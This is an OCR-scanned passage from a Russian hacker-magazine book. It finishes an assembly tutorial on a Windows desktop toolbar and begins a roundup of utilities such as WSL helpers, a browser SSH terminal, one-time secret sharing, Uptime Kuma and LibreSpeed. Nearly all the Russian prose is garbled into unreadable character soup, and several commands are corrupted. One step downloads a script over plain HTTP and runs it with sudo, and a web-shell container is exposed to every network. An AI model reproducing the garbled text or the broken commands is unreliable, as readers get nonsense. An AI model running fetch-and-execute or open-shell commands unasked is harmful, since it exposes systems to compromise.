HOHM UM Ha paboudeMm crose nonockl. [Ipy 3aBepuIeHHH NporpaMMbl CUTyalHs Ha paboueM
CTOJIE JOJKHA BOCCTaHaBiIMBaTheA. Ecnu ocTaloTcs kakue-To 0COGEHHOCTH, TO mepesa-
Ipy34 KOMIIBIOTEP U BHUMATENIBHO [IPOBEPH IIPOTrPAMMY .

HacTtpo#ka okHa naHenwu

Ocranoce TOJNBKO MPUBECTH IJIaBHOE OKHO HALIEro MPHIJIOKEHHS B COOTBETCTBHE C €ro0
3apauyedt. [{ns 3Toro, Bo-nepBbIX, MOANPABUM CTHIH OKHA B CTPOKE C BBI30BOM (GYHKLHMH
CreateWindowEx CIE€IYIOLIMM 00pa3oMm:

invoke

CreateWindowEx, WS EX TOPMOST+WS_EX TOOLWINDOW, class, title,WS_POPUP,128,128,25
6,192,NULL,NULL, [wc.hInstance],NULL

A BO-BTOpBIX, JOMOJIHHUM MPOUENYPY wmCreateProc CTPOKAMH, BBINOJHSIOIMMHU MO3H-
LIMOHHPOBAaHHE OKHa Ha 3ape3epBHPOBAHHOM moiyoce paboyero crona. Ins aToro cpasy
ocJie ee 3aroJIoBKa IOMECTHM CTPOKY ONpeeNeHHUs JOKaIbHbIX I€PEMEHHBIX!

local width:DWORD, height:DWORD

[Tocne uMeHH nepeMeHHOM yepe3 ABOETOYHE YKa3aH ee THI (Kak B rackaine). AHaJoruy-
HBIM 06pa30M MOXHO YKa3bIBaThb THIIbI IIApaMETPOB MpPOUEAYP. MEI 3TOro He JAcaliy,
MOTOMY YTO Hac yCTpauBaeT 32-OMTHBIH THII, IpeArnoiaraeMelii mo yMon4anutoo. CTpokd
BBIYHUCJIEHHA pasMEpPOB U MEPEMEIIEHHA OKHa HaJO0 pasMECTUTh B KOHUE MPOUEAYPHI I€-
pea GopMHpOBaHHEM BO3BPAILa€MOr0 3HAYEHHUS B PETUCTPE EAX:

mov eax, [abd.rc.right]

sub eax, [abd.rc.left]

inc eax

mov [width], eax

mov eax, [abd.rc.bottom]

sub eax, [abd.rc.top]

inc eax

mov [height], eax

invoke SetWindowPos, [hwnd], HWND TOP, [abd.rc.left], [abd.rc.top], [width],
[height], SWP_NOACTIVATE+SWP_SHOWWINDOW

OkoH4YaTenbHbIN BapuaHT nporpaMmmsl: appbar . asm
(https://xakep.ru/wp-content/uploads/2022/01/372862/appbar.asm).

3anmycTd MoNy4yHBLIEECS NPUIOXKEHHEe. MecTo 3ape3epBHPOBaHHOH MOJNOCH pabodero
CTOJIa IOJDKHO 3aHATH Cepoe OKHO 0e3 paMOK M 3aroJioBKa — Halua 3ariatka. He neitaii-
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Cs 3aBEpIUMTh MPOrpaMMy dYepe3 NUCIETYEp 3aJad, IMOTOMY 4YTO 3ape3epBHPOBAaHHas
4acTh paboyero croyia B 3TOM clydyae He OocBOOOAMTCA. BMecTo 3TOro mLienkHH JeBOH
KHOIKOW MBIIIM [0 3TOH MOJIOCE W HaXXMH KoMOMHauuio knasuin Alt-F4. Ilporpamma
3aBEpLIUTCS, a pabo4Hi CTOJ BEPHETCS B HCXOJHOE COCTOSIHHUE.

3aknyeHue

Tak MHe yzianoch yCTpaHHTb INIaBHOE HEYI0OCTBO OT AedeKkTa MOHUTOPA MPH HCIOb30-
BaHMM pa3BEPHYTHIX Ha BECh 3KpaH MpuioxeHui. [lonyTHO MBI y3HaIH O TOM, KakK CO3-
JIaTh CBOIO MaHEIb HHCTPYMEHTOB Ui pabodero ctona Windows.

Pa3paboTaHHOE NpHIOKEHHE MOXHO B3ATh B Ka4eCTBE 3arOTOBKH A Oonee GyHKUHO-
HallbHOH MaHeNH, a He TaKoH, KoTopas, Kak KapThHa B MynbTdHIbMe npo naaw denopa,
«OBIpDKY Ha 000s1X 3aropaxuBaeT». B kayecTBe MaHEIH HCIOJIB30BAHO TJIABHOE OKHO
NPHJIOXKEHHUS, YTO MO3BOJISET NOOABHTH Ha HEro JJIEMEHTH! YNpaBJIE€HHs, TEKCT, PUCYH-
k... Ho mepBbIM nenom s 661 106aBHIT 3aILMTY OT OBTOPHOTO 3alycka porpamMMsbl (Ui
3TOr0 HaIO BOCIOJb30BATHCS MMEHOBAHHBIM MBIOTEKCOM, KOTOPBIH CO31aeTcst C MoMo-
mpto  Gynkuun CreateMutex (https://docs.microsoft.com/en-us/windows/win32/api/
synchapi/nf-synchapi-createmutexa)). He momemaer no6aBUTh M pearupoBaHHe Ha
YBEIOMIICHHS MSG_ABNOTIFY — HX MOXET OTIIPaB/IATh HallleMy OKHY ONepalHOHHas CHC-
TeMa (HarnpuMep, MpH 3aMycke MOJIHOIKPAHHOTO NMPHII0KEHHS HIIH aKTHBHOCTH COCEIHHX
naHesne).

A BOT BBIOpaHHBIH HHCTpYMEHT pa3paboTku Flat Assembler ¢ accembiepom B kayecTBe
sI3bIKa TPOrPaMMHPOBAHHS OCTaBJIAET MPOTHBOPEYMBBIE YYBCTBA. K MOIOXHTEILHBIM
4yepTaM MOXXHO OTHECTH:

0 kOMMakTHBIH pa3Mep U ObICTpoe pa3BepThiBaHHE Ha T000M Windows-KoMIbloTEpE;

O BO3MOXHOCTB IOJIHOLEHHO HCIOJb30BATh METOAOJIOTHIO CTPYKTYpPHOTO MpPOrpaMMH-
poBaHus Gnarojaps MaKpOONpEIEIeHHSM, YTO MPAaKTHYECKH CHUMAeT OrpaHHYEHHE
Ha CJI0)KHOCTb [IPOEKTOB;

O oxmuHakoBas pabora npuioxxeHHH Ha Bced nuHeiike Windows or Windows 2000 mo
Windows 10 x86-64 6naronaps ucnonb3oBanuo Win32 API;

O wmaneiii pa3smep reHepupyeMsix EXE-daiinos (pazpaboTaHHOe B IV1aBe NPHIIOXKEHHE
3aHuMaet 2,5 Koaiit Ha gucke).

CnopHble MOMEHTBI, Ha MOH B3IJIA[, ClIEAYIOLIHE:
O »xecTkas NpUBs3Ka K apXHUTEKType npoueccopos Intel;

O cnabas «3amMTa OT Aypaka» (IPaKTHYECKH OTCYTCTBYET KOHTPOIb THIIOB IEpEeMEH-
HBIX U COOTBETCTBHS (AKTHYECKHX apryMEHTOB IPH BbI30BE QyHKUHH 0OBABICHHBIM
¢dbopManbHBIM apaMeTpam).

Kak 651 TO HU ObLTO, ¢ Hcnonb3oBaHHeM Flat Assembler BrosHe MOXHO H3y4aTh OCHOBBI
NporpaMMHpOBaHHs Ha acceMbiepe A apXHTEKTYphl X86. DTOT HHCTPYMEHT MOMOXET
OCBOMTb CHMHTaKCHC W OCHOBHbIE KOHCTPYKUHH s3bIKa BCEM, KTO €lLUE HE CTalKHBaJCs C
acceM0iepoM, HO KEJaeT HCI0JIb30BaTh €ro B OyaylleMm I co3faHusi COOCTBEHHBIX
MIPHJIOXKEHHH.
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MacTepckan xakepa.
Noabopka none3HbIX UHCTPYMEHTOB
Aana Windows u Linux

Mapk Bpyuykuu-Cmemnkoeckuu

Bek >xuBH — Bek coOHpail BCAKHE MOJIe3HbIE LITYKOBUHBI! PYKOBOJICTBYSChH 3THM IpaBH-
JIOM, 51 CKOTTHJI OOLIMPHYHO KOJUIEKLHIO YTHIIUT, TYYIUIMMH U3 KOTOPBIX X04y ¢ TOOO#H ro-
nenuthes. Moxet, U Tol moadepeus cebe 4To-To, UTO MOMOXKET Tebe B exxeqHEeBHOM pa-
00Te UM BEIPYYHT B CJIOXKHYIO MHHYTY.

YacTb yTunuT M3 3TOW rnasbl npucnan MHe GnarogapHbii noanucunk. Ecnu y 1ebsa Toxe

€CTb O YeM pacckasaTb MUpY — NUWK B peaakumio Xakepa, Mbl 06s3aTenbHO Hanaem, Kak
3TO NPUMEHUTB!

Windows & WSL
WSL Host Patcher

Kak u3BectHo, B Windows 10 1 11 MoxHO 3anyckarts npunoxeHus s Linux. Cucrema,
KOTOpas MOo3BOJIAET 3TO JAenaTh, HaspiBaeTcs WSL — Windows Subsystem for Linux.
WSL (B mpocToHapoabe — «BECIO») MMeeT ABE BepCHH, He3aMbICIOBATO Ha3BaHHbIE
WSL u WSL 2. IlepBas Bepcus Boiuia B 2016 rogy u y»ke MopaibHO ycTapena. Mac-
wrabHo o6HoBHM cucTemy B 2020 roay, B penuze Windows 10 2004 — uto0bI He my-
TaTh, ee Toraa U HazBanu WSL 2. Buytpu WSL 2 — BuptyansHas mamnHa Hyper-V ¢
npoOpolIEHHBIMHU B HEE PECYPCaMH XOCTa.

Koraa kakoit-ro mpouecc BHyTpu WSL 2 nHaumnaer cnymatrbs TCP-mopT, wslhost.exe
ciywaet 3ToT xe nopt Ha 127.0.0.1 xocTa, dhakTHUECKH NPOKCHPYs €ro HapyXKy, Ha XOCT.
[Tpobnema Takoro ¢opBapIHHra B TOM, YTO CHApY>XH XOCTa 3TOT NOPT HEAOCTYIEH, TO
ecTb noaHAThHIH Ha 8080-M nopre Beb6-cepBrc B WSL nocTymneH uis XocTa, HO HE TOPYHT
B JIOKAJIKY.

Ecnu xo4ercs nosnyyuth JOCTYN K TAKOMY CEPBHCY CHAapyXH, a HE TOJNBKO C MAIUUHBI C
camoit WSL — npuromutcs WSL Host Patcher (https:/github.com/CzBiX
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WSLHostPatcher). Bce, yTo OH genaeT, — 3TO NaTYUT B IMaMATH wslhost.exe, YTOOBI
TOT OTKphIBan coeauHeHus He Ha 127.0.0.1, a Ha 0.0.0.0, cnymas cooTBETCTBYIOLIMM
NOPT Ha Bcex HHTepdeHncax.

Wsigit

B nponomxenne uszBpamenuid ¢ WSL xouy nokasats MajleHbKYIO yTHIHTY Ha Rust, ko-
TOpasi MPOCTO TPAHCIHPYET BCE BBI3OBBI Ce0s B COOTBETCTBYIOLIME BbI30BBI git’ B WSL 2.
3ayeM 310 Hago? JlomycTHM, Y TeOs ecTh KaKoH-TO ouyeHb Oonblioi perno3uropuit Git
BHYTpH WSL, a Tbl paboTaelis B TEKCTOBOM pefakTope ¢ xocta. Yto6sl Git KOppEeKTHO
paboTain ¢ KOIOM BHYTPH MONYyBHPTyanbHOro Linux, HyXHO Kak-TO TPaHCIHPOBATh BbI-
30Bbl Git ¢ HCIIpaBlIeHHBIMH NMYTAMH BHYTph KoHTeHHepa. Wslgit (https://github.com/
andy-S/wslgit) nenaer poBHO 3TO: HCHpaBIseT MyTh, YTOOB!I MOMYYHTH JOCTYN H3 KOH-
TeiHepa k ¢daitnam xocta, u 3anyckaer Git B WSL 2, 4ToObI BBINOIHHTH HYXXHOE JEHCT-
BHe. [IpocTo U MOHATHO.

HO3keiicoB wslgit HEMHOT0, HO HHOTIa OH COBEPLUEHHO HE3aMEHHM.

OyucTka namMAaAT™M vmmem

Pa3 yx 3aroBopuin o WSL, ynoMsHeM elle OIHY BaXHYH MpobieMy, H3-3a KOTOPOH
NOpPOH NPHXOIUTCS INepe3arpyXaTb COBEPIUEHHO HCIPAaBHBIH KOMIBIOTED C HEAENAMH
antaitMa. WSL odeHb m10GHT arpecCHMBHO KEIUMPOBATh B ONEPATHBHYIO MaMATh, HO HE
CIewnT ocBoOOXHaTh ee, Korga 3Ta NaMATh HYXHa BUHIE. B pesynbrate mnpouecc
vmmem CbeJaeT BCIO ONIEPaTHBKY, U IPUXOIUTCS NEpe3arpyxarbCs.

Pemennie npo0ieMbl NpocToe — BBIMOJIHUTD OT PyTa ClleAyoIyro komanay B WSL:

# sh -c "echo 3 > /proc/sys/vm/drop caches"

Ho nomxeH 6bITh U crtoco6 nonyuie. Moxer, Tl 3Haews? Hanuiuy o6 3ToM B penakiuio!

Web
TLS Support Check

TLS.support (https://tls.support/) — 3to GbICTpBIH crlOcO6 MPOBEPHTH, MOAAEPKUBAET
au 6paysep coBpemeHHble ¢uun TLS. CepBuc npoepser nmoamepxkky OIZHOPa3OBBIX
KJII04eH, CIMCOK JOCTYMHBIX WHGPOB, MTHOBEHHOE BO30OHOBJIEHHE LIH(POBaHHOTO CO-
€IMHEHHS U HEKOTOpble ApyTHe BellH (puc. 3.1).

Ha cepBHCce MOXXHO MOJNYYHTh KOX pe3yjbTaTa KOHKPETHOH MpoBepkH. Y 106HO, eClu Thl
XOuelllb MONPOCHTh KOI0-TO NPOTECTHPOBATh paboTy M MMOKa3aTh Pe3yabTaThl.
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TLS.support | What does your browser support?

Your TLS configuration is.

TLS.support is a free service for testing browser TLS version and cipher support. it 9izc s o frze You
can find results for your browser summarized betow.

28 ScanCode « TLS Version +" Single-Use Keys

Pwuc. 3.1. TLS.support

SSH web client

Kak-to pa3 MHe HyxeH Obul BeO-repmuHan. Sl mouckan M Hawmen npoexkt Webshell
(https://github.com/bwsw/webshell).

Webshell — 3T0 nojHOUEHHBIH TepMHHAN MpsSMO B OkHe Opaysepa. OH paboTaer kak
SSH-knHeHT, HO A MOMX 3aaay OBLIO JOCTATOYHO MPOCTO MOAKIIOUUTHCSA YEPE3 HEro K
127.0.0.1 u paborars. CoueTaHus KIaBULI MOAAEPAKHUBAIOTCS, TIOJIHOIKPAHHBIE IIPOrpaM-
MbI Bpozie htop 1 nano — Toxxe. YTo HaM ellie HY>HO 11 CHacTbsA?

Ecnu y Te0s ecTb CBO# cepBep M Thl XOYELIb HMETh BO3MOXKHOCTh I0JIy4aTh K HEMY IOC-
Tyn u3 SSH yepe3 Opay3ep, TO 3TO OTIHYHBINA BapUaHT (pHC. 3.2).

Welcome to a Webshell SSH proxy powered by Shellinabox (https://code.google.com/archive/p/shellinabox/)
The code of the SSH proxy implementation is located at https://github.com/bwsw/webshell/

Enter host ip to connect (Default: ©.0.0.9): 37

Enter port to connect (Default: 22): 22

Login: (Default: root): xakep ru

SSH Connection to xakep_ru@ 37#22 will be opened...
Warning: Permanently added ' 17' (ECDSA) to the list of known hosts.
Ixakep_rug 7's password:

lnelcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.11.8-1020-oracle aarchéd)
* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage

System information as of Sun Oct 31 17:24:53 UTC 2021

System load: .11 Processes: 194
Usage of /: 5.7% of 77.36GB  Users logged in: 1
Memory usage: 45% IPv4 address for enp@s3: 10.0.0.99

Swap usage: 0%

* Super-antimized for small snaces - read how we chrank the memory

Puc. 3.2. Webshell 8 geitctaun



) 44 )

YcraHaBnuBaercs nporpamma uepes Docker:

docker run -d --security-opt seccomp=unconfined -p 8018:80 -e
ALLOWED_NETWORKS=0.0.0.0/0 bwsw/webshell

Ots

Hy>xHO M3 TepMHHaNa MOJENUThCA KaKOH-TO BpEMEHHON 3aMeTKo#? [lepH Toraa aHanor
Privnote (https:/privnote.com) (cepBuc ILIEpHHra OOHOPA30BHIX 3aMETOK, KOTOpbIE
YHHUYTOXXAIOTCS NI0C/IE POYTEHH ), HO paboTaroiuii U3 TepMUHana!

Ots (https://github.com/sniptt-official/ots) — 310 koHconbHas yTunura ¢ end-to-end-
mHdpoBaHHEM H BO3MOXKHOCThI0 OoJee-MeHee 6€30MacHo IEePHUTh CEKPETHI.

s ycTaHOBKHM JOCTATOYHO HCIOJB30BaTh brew (brew install ots), HO €CJIH Thl MPH-
BEPXEHEL TPAAHLMOHHBIX IJis Linux crnoco6oB YCTAHOBKH, TO brew He Hal METOI.
H)ICM B KOHCOJIb H NMHUILIEM!

$ curl -L https://github.com/sniptt-

official/ots/releases/download/v0.1.0/ots 0.1.0 darwin_amdé4.tar.gz -o
ots.tar.gz

$ sudo mkdir -p /usr/local/ots-cli

$ sudo tar -C /usr/local/ots-cli -xvf ots.tar.gz

$ sudo 1ln -sf /usr/local/ots-cli/ots /usr/local/bin/ots
S rm ots.tar.gz

Kpome atoro 6unaa ectsb eme coopku nox ARM64 u naxe nog Windows — To ecTh mo-
CTaBHUTb MOJYYHUTCS BOODIIE HA YTO YTOAHO.

Co3path 3aMeTKy Jierde HeKyAa: MpoCTO HAaMUIIHM ots new (pHc. 3.3)!

Puc. 3.3. Hawano ucnonb3oBaHus

KCTaTH, BBCICHHBIC TAHHBIC HE 0T06pa)Ka}0TCﬂ, Kak eciad Obl 3TO ObLI napoJib, 4TO CIIO-
CO6CTByeT MPHUBATHOCTH.

Aprymem‘ -x MO3BOJIAET 3a/1aTk CPOK 'OAHOCTH 3aMETKH: JAXE €CIIH €€ HUKTO HE OTKPO-
€T, 10 HCTECYECHHUH 3aJaHHOI'O BpDEMEHH OHA CAMOYHHYTOXHUTCA.

s 1mepuHra CeKpeTHbIX KOH(HMIOB MOXHO HCIIOJIb30BaTh CTAHJAPTHBIE AJIs FOHHKCO-
BBIX CHCTEM MaMHIIBbI:

$ cat secret-keys.json | ots new

Y cepBuca ects BeO-Bepcus — ots.sniptt.com (https://ots.sniptt.com/), koTopas 3MynH-
pYeT ots new B OkHe Opay3epa (puc. 3.4, 3.5).



Successfully created secure one-time URL

#+ Your secret is now available on the below URL.

https://ots.sniptt.com/view/byeMDfgbCrrsoBs9?region=eu-central-1&ref=web#IFbnPZF1_Ae3P3m39jdgLg

You should only share this URL with the intended recipient.

Please note that once retrieved, the secret will no longer be available for viewing. If not viewed, the
secret will automatically expire at approximately 3 Nov 2021 12:17:50.

Puc. 3.4. MNepectinaem B Gpaysepe

ots get byeMDfgbCrrsoBS9 --region eu-central-1
Successfully decrypted secret

Hello from xakep.ru!

Puc. 3.5. Kak BuirnsagaT cekpersi

Ecnn nonpo6oBaTh OTKpBHITH CTPaHHIy C 3aMETKOH BO BTOPOH pa3, — IMOJYy4HM OTKa3,
Belb 3aMETKH yxe HeT (puc. 3.6)!

This one-time secret cannot be viewed

Puc. 3.6. O6nom

Focalboard

Panbuie s monp3oBancs Trello, HO mOTOM cTan HckaTh OecrulaTHYIO aJbTEPHATHBY M Ha-
men — oHa HaseiBaetcs Focalboard (https://github.com/mattermost/focalboard). 3o
knaccHeli self-hosted-cepBuc, paspaboTaHHblii aBTopamu Mattermost (3ameHa Slack mis
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KOMIaHHi). MOXHO NMOCTaBUTh Ha CBOH KOMII MJIM Ha KaKOH-TO COOCTBEHHBIH cepBep,
€CJIM HY>XHa BeJIuKas ceKpeTHOCTh (puc. 3.7).

(@ Focatboard

Tasks for xakep.ru

Personal Tasks

Tasks for xakep.ru

i Board View

Puc. 3.7. MNpumep ucnonsvaoeaxus Focalboard

Vcranosuth Focalboard Moxuo Ha Windows, Linux u gaxe Mac. U ecnu ais BUHABI U
MaKOCH MPUJIOXKEHHE NMPOCTO CKayMBaellb B OGHLHANEHOM MarasuHe, TO C BepcHeH Ui
Linux Hac >kaeT TpaaHLHOHHO YyTh OOsee JVIMHHBIA MyTh: MPUIETCA BPYYHYH) CKayaTh
nocnequuid penus (https://github.com/mattermost/focalboard/releases) npoexra cebe
M pacrnakoBatb ero (tar -xzvf focalboard-linux.tar.gz). 3aTeM 3alyCTHTh
focalboard-app/focalboard-app. I[HPIHHCC, HO HE HAMHOI'O CJIOXKHEE.

s xenarommx pasBepHyTh Focalboard Ha coOcTBEHHOM cepBepe e€CTb BO3MOXCHOCTb
caenaTh 3To OYKBaJIbHO B OIHY KOMaHAY:

docker run -it -p 8091:8000 mattermost/focalboard

ITocne yctaHOBKM Mepeinu Mo aapecy reon—ip:8091, H YBUAMIIBL GopMOUYKy BXxona (Ha
cKpHHLIOTe HIke). TyT HaJo co3aaTh akKayHT (KHOIOYKA create account BHU3Y), H Thl
nomajems B Takoi ke HHTepderc Focalboard, Ho yepe3 Opay3ep. U na, HHkakue BBe-
JIEHHbIE NPH PErHUCTPALUH JaHHbIE MOATBEPXKAATh He TpedyeTcs (puc. 3.8).

Puc. 3.8. Bxopg B Focalboard




FPS Check

BrIBaeT, HY>)XKHO y3HaTh, CKO,1bKO KaapoB B cekyHay (FPS) Moxert oToOpa3uts 3xpaH. Bee
Oonbplle NMPOU3BOAUTENEH 3asABIAIOT YaCTOTY OOHOBJIEHHS JKpaHa KaK NPEHMYILECTBO
CBOHX INPOIYKTOB, TaK YTO CTAHOBHTCS MHTEPECHO MX IPOBEPHUTH.

C nomousto caiita TestUfo (https://www.testufo.com/) Tl cMOXelIb BEISICHUTD, JEHCT-
BUTEJILHO JIW MOHHUTOp oOOecnedHBaeT 3asBIEHHYIO CKOPOCTb OOHOBJIEHHS KapTHHKH.
TecT HauMHAaeTCA cpa3y Mociie 3arpy3KH CTpaHHULs (puc. 3.9).

Count Of UFOs: L?_.UFOS v) Background: Lé-t.érs :]
Speed: | 960 Pixels Per Second |

Puc. 3.9. HNO!

ITocepennHe cTpaHULBI OTOOPAXKAKOTCSA JOPOXKKH, JBUTAIOIHECS C PA3HBIM KOJIHYECTBOM
KaJpoB B cekyHay. Ha BepxHel JOpoXKKe YyacToTa KaJpoB MaKCHMallbHasl, Ha HIKHEeH —
MHHHMaJbHasl.

Kpome HJIO-tecta Ha FPS, caiit npensaraer euie 0oKoJO TPeX AECATKOB TECTOB Ha BCE
CIIy4Jau >KH3HH: TyT M npoBepka Ha LIIMM, u 3amMep TaHMHMHroB NpH O0TOOpa)KEHHH rpa-
¢uxu 6pay3epoM, U Aaxe CUMYJIALMSA BUAEOUrpbl. MHE OBLIO KaK MHHMMYM HHTEPECHO
HOTHIKATb.

Canvas Defender

Otnevarku Opay3epa IMPOKO HCIONB3YIOTCS CAaHTaMH Ul OTCJIEKHUBAHHS NOCETHTENEH
U HX MoBefeHHs. bpaysepy NmpHCBaMBaeTCs YHHKaJIbHBIH HAEHTHPHKATOP, K KOTOPOMY
NPHUBS3BIBAETCS MHOTO HHPOPMALIMK O HACTPOHKaX U BO3MOXHOCTSAX Opay3epa.

OnuH U3 METONOB CO3JaHMs Takoro uiaeHTuukaropa — ucnosib3oBanne HTML-tera
<canvas>. Pacumpenne Canvas Fingerprint Defender (https:/mybrowseraddon.com/
canvas-defender.html) ckpriBaeT HacTOAIIMH OTIEYATOK, IIOTYy4aEMbIH TAKHM METOIOM.
OHO He OJIOKHpPYET TakoW TPEKUHT, a A00aBIsSET B OTIEYaTOK CIy4alHbId wym. M3-3a
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3TOr0 OTIEYATOK CTAHOBHUTCA OECIOIE3HBIM IS OTCJEXHBaHHA. BaXXHO TOJIBKO IMOHH-
MaThb, YTO OT BCEX OCTAJIbHBIX crnocoboB TPEKHHI'A 3TO HE 3allIHIIAET, TaK YTO OTIIPABJIATDH
ApYyTrHe 3allIMTHBIE pELIEHHS HA IIEHCHIO II0Ka paHOBATO.

Otnevarok 0OHOBIIAETCS NPH KaxI0H nepe3arpy3ke cTpaHuusl. [lnaruH He Tpebyer Ha-
CTPOHKH M HauHHaeT paboTy cpa3y Mocie YCTaHOBKH.

Hocrynen ans Chrome (https://chrome.google.com/webstore/detail/
canvas-fingerprint-defend/lanfdkkpgfjfdikkncbnojekcppdebfp/related?hl=ru),
Firefox (https://addons.mozilla.org/en-US/firefox/addon/canvas-fingerprint-defender/),
Microsoft Edge (https://microsoftedge.microsoft.com/addons/detail/
giglaifdfkimffokoomllcpmdjeomckf)

u Opera (https://addons.opera.com/en/extensions/details/canvas-fingerprint-defender/).

& Detect Canvas Fingerpnnt

Fingerprint Spoofed
Is browser canvas fingerprint spooted true

Canvas Support in Your Browser

Canvas {basic support) true
Text AP! for Canvas true
Canvas toDaisURL true

Fingerprint Results

Fingerpint ID

Lred S0 bt 77 10485 3deS 97. 20¢5¢3c47¢767d0
Is fingesprint spocfed by persistent noise true
Fingetprint ID
When: before DCAMHoad €6812, doc6feaf 'd9fbas5d68181a2aecabd16a61f
Method random émage with calor mixing
Fingerpant |0
When. afte; DOM icad f912fce58F56dc18dd70bb8ed 7885258282 c3685c3de138c74bc86F2cd5£958
Methiod- random :mage with color mixing
Is fingerprint spocfed by random noise true

Puc. 3.10. OtnevaTku creHepupoBaHbl CnyYaiHble

rome

Canvas Fingerprint Defender
Sos SEERELL 1 TR AN alee M S T o e " e

Puc. 3.11. Cant nonancs Ha TpekuHre
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Hns POBEPKH paboThI paclIUpeHHUs 1 BOCIIOJIb30BAJICA TECTOM
(https://webbrowsertools.com/canvas-fingerprint/) na WebBrowserTools.com. IIpu
KaXXJO0H nepe3arpy3Ke CTpaHHLbI OTIIEYaTKH AEHCTBUTENBbHO pa3Hble (puc. 3.10).

[Ipu kaxaoil MONBITKE TPEKHHIa PACLIHPEHHE BHIIAET COOTBETCTBYIOLIEE YBEAOMIICHHE
(puc. 3.11).

Uptime Kuma

HenaBHo MHe HyXHO ObLIO OpraHH30BaTh MPOCTOH MOHHUTOPHHI HECKOJbKHX CaHTOB Ha
pa3HbIXx noagoMeHax. [Torom anmeTHThl BBIPOCIHM M MOSBHIIOCH )KEJIaHHE NOOaBUThH IO
KY4H eIl MapoyKy CEeTEeBbIX A€MOHOB. Zabbix A TakHX Clly4yaeB, IyMalo, TSKEJIOBAT, a
BOT JIETKOBECHBIH KOHTEWHHED, IPAKTHYECKH HE TPeOYIOIHH HACTPOHKH, — TO, YTO Hano!
Toraa s mouckan M Haulen anbTepHaTHBY, NPHYEM HaMHOro 0Gojee NPHATHYIO riasy.
3HakoMbes: Uptime Kuma (https://github.com/louislam/uptime-kuma) — mnpocrto#
self-hosted-HHCTpYMEHT 1 CO3JaHMA CTpaHHL, MO3BOJAIOLIMX OTCIEXHBaTh paboTo-
CMOCOOHOCTh CEPBHCOB M MOHHTOPHHIA, KOTAa HE HYXHO JeTajJbHO aHaJIH3HUpPOBaTh CHC-
TEMHbIE [IapaMeTphbl Ha HabJoJaeMbIxX MaldHax (puc. 3.12).

ERERRRRRRRNRERRREE LEERLEEELEE]

(R EEN]

LIERRLETEEE]

Puc. 3.12. TemHasa Tema Toxe nogaepxuvsaercs!

YCcTaHOBUTH MOXHO HECKOJIBKHMH criocobaMu. [lepBblit M caMblif IPOCTOH — C IOMO-
IO HHTEPAKTHBHOTO YCTAHOBIIHKA!

curl -o kuma_install.sh http://git.kuma.pet/install.sh && sudo bash
kuma_install.sh

Bropo#i, koTopsl# Hcnionb3oBan 5, Tpedyet Docker:

docker volume create uptime-kuma

docker run -d --restart=always -p 3001:3001 -v uptime-kuma:/app/data --name
uptime-kuma louislam/uptime-kuma:l

s Tex, y koro ecTb yxe ycraHoBjeHHbIH Node.js U xenaHHe caenaTh BCE BPYYHYIO,
€CTb M TPETHH c110cob:

npm install npm -g

git clone https://github.com/louislam/uptime-kuma.git

cd uptime-kuma

npm run setup
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# TlpocToit 3amnyck, s MPOBEPKM
node server/server.js

# 3anyck «Ha IOCTOSHKY»
# Ecomm HeT PM2, ycTaHOBM ero c nomousi "npm install pm2 -g"
pm2 start server/server.js --name uptime-kuma

Bo Bcex 3THX ciydasx ecTh OJHa MaJIeHbKas MpoOJieMa: €ClH Thl UCIOJb3YyEllb PEBEPC-
IPOKCH Bpoze nginx, kak s, — paborare Uptime Kuma He Oyznet, notomy uto Tpebyer
HOJIHOUEHHBIX Be6-cokeToB. [TopUKCHTH 3TO 1A nginX MOXXHO TaK:
server {
listen 443 ssl http2;
server name YOUR DOMAIN HERE;
ssl certificate /etc/nginx/certs/upmonitor.crt;
ssl_certificate_key /etc/nginx/certs/upmonitor.key;
location / {
proxy set header X-Real-IP S$remote_addr;
proxy_set_header  X-Forwarded-For $proxy_ add_x_forwarded for;
proxy pass http://127.0.0.1:3001/;
proxy http version 1.1;
proxy_set header Upgrade Shttp upgrade;
proxy set_header Connection "upgrade";

Hy u nns tex, yeit cepep — 310 crapeiit Android-cMapTdoH, — crmocob HOMep YeThIpe.
HyxHo ckauath akTyanbHblit Termux, npuyem He u3 Play Mapkera, rae oH yxe JaBHO He
obHoBnsercs, a u3 F-Droid (https://f-droid.org/repo/com.termux_117.apk). 3atem 3a-
IYCTHTD H BBINOJIHUTD CIE€AYIOIIHE KOMaH/IBI:

pkg upgrade

pkg install clang make python nodejs-1lts binutils git

npm install npm@6 -g

git clone https://github.com/louislam/uptime-kuma.git
cd uptime-kuma
npm run setup

node server/server.js

Tonbko He 3a0biBait, uTo Android oueHb NOOHT BHITPYXKaTh 3amylleHHbIE B (GOHE MpH-
JIOXKEHHS.

LibreSpeed

Bce Ml 3Haem u ucnonn3yem speedtest.net (https://speedtest.net). Ho B HekoTOpBIX
ClIy4asix OH MOJXKET HE IMOJXOAUTh, HAMPUMED €CJIM ThI IIAPAHOUK B CEKPETHOM TOCKOHTO-
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pe, TAe BbIXOA B HEKOHTPOJIUPYEMbIl HHTEPHET — TOJBKO MOJ TBOMM HEYCHIMHBIM Ha[-
30pOM.
Hepxu Ha Tako cnyuyai LibreSpeed (https://github.com/librespeed/speedtest) — ca-

MbIH MPOCTOM CKPHUNT AJI OpraHU3allH TECTUPOBAHMS CKOPOCTH Ha cepBepe. Y CTaHaB-
JMBaeTcs OJHOM koMaHao# yepe3 Docker:

docker run -e MODE=standalone -p 8080:80 -it adolfintel/speedtest
U coberBenHo, Bce. OHO npocto paboraer (puc. 3.13)!

LibreSpeed
‘ Start
Ping Jitter
1.70 m 0.72
Download Upload
112
Mbps

Puc. 3.13. Self-hosted cnugomeTp

Console

OcBoboxaaem yaaneHHble dpannbl
6e3 nepe3anycka npouecca
Kak Mbl 3HaeM, He Bce MpPOLECCHl 3aKpbIBAIOT (aiioBble AeCKpUNTOpb! (yKasaTelau Ha

¢aiin Ha nucke) naxe nociue yaaneHus ¢aitna. Torma du -hs Takue ¢aiisl Thl He Haii-
Jellib, HO MPH 3TOM df ~h OKaXET, YTO MECTO UCNOJIb3YETCH.

Ecnu Tl HE YBEpeH, 4TO Yy Te0sl MMEHHO TaK, — MPOBEPUTH 3TO MOXHO C IMOMOLUBIO 1sof
| grep deleted | less

Cambiif mpocToit cnoco6 pewnTs npobiieMy — 3J€MEHTapHO Nepe3anycTUTh NPOLECC.
Ho ecnu caenatsb 3710 Henb3s, €CTh €1le OAUH BapHAHT.

Haxoaum, kakue ¢aiibl yIaneHsl:

# find /proc/*/fd -1s 2> /dev/null | grep '(deleted)' | grep logstash

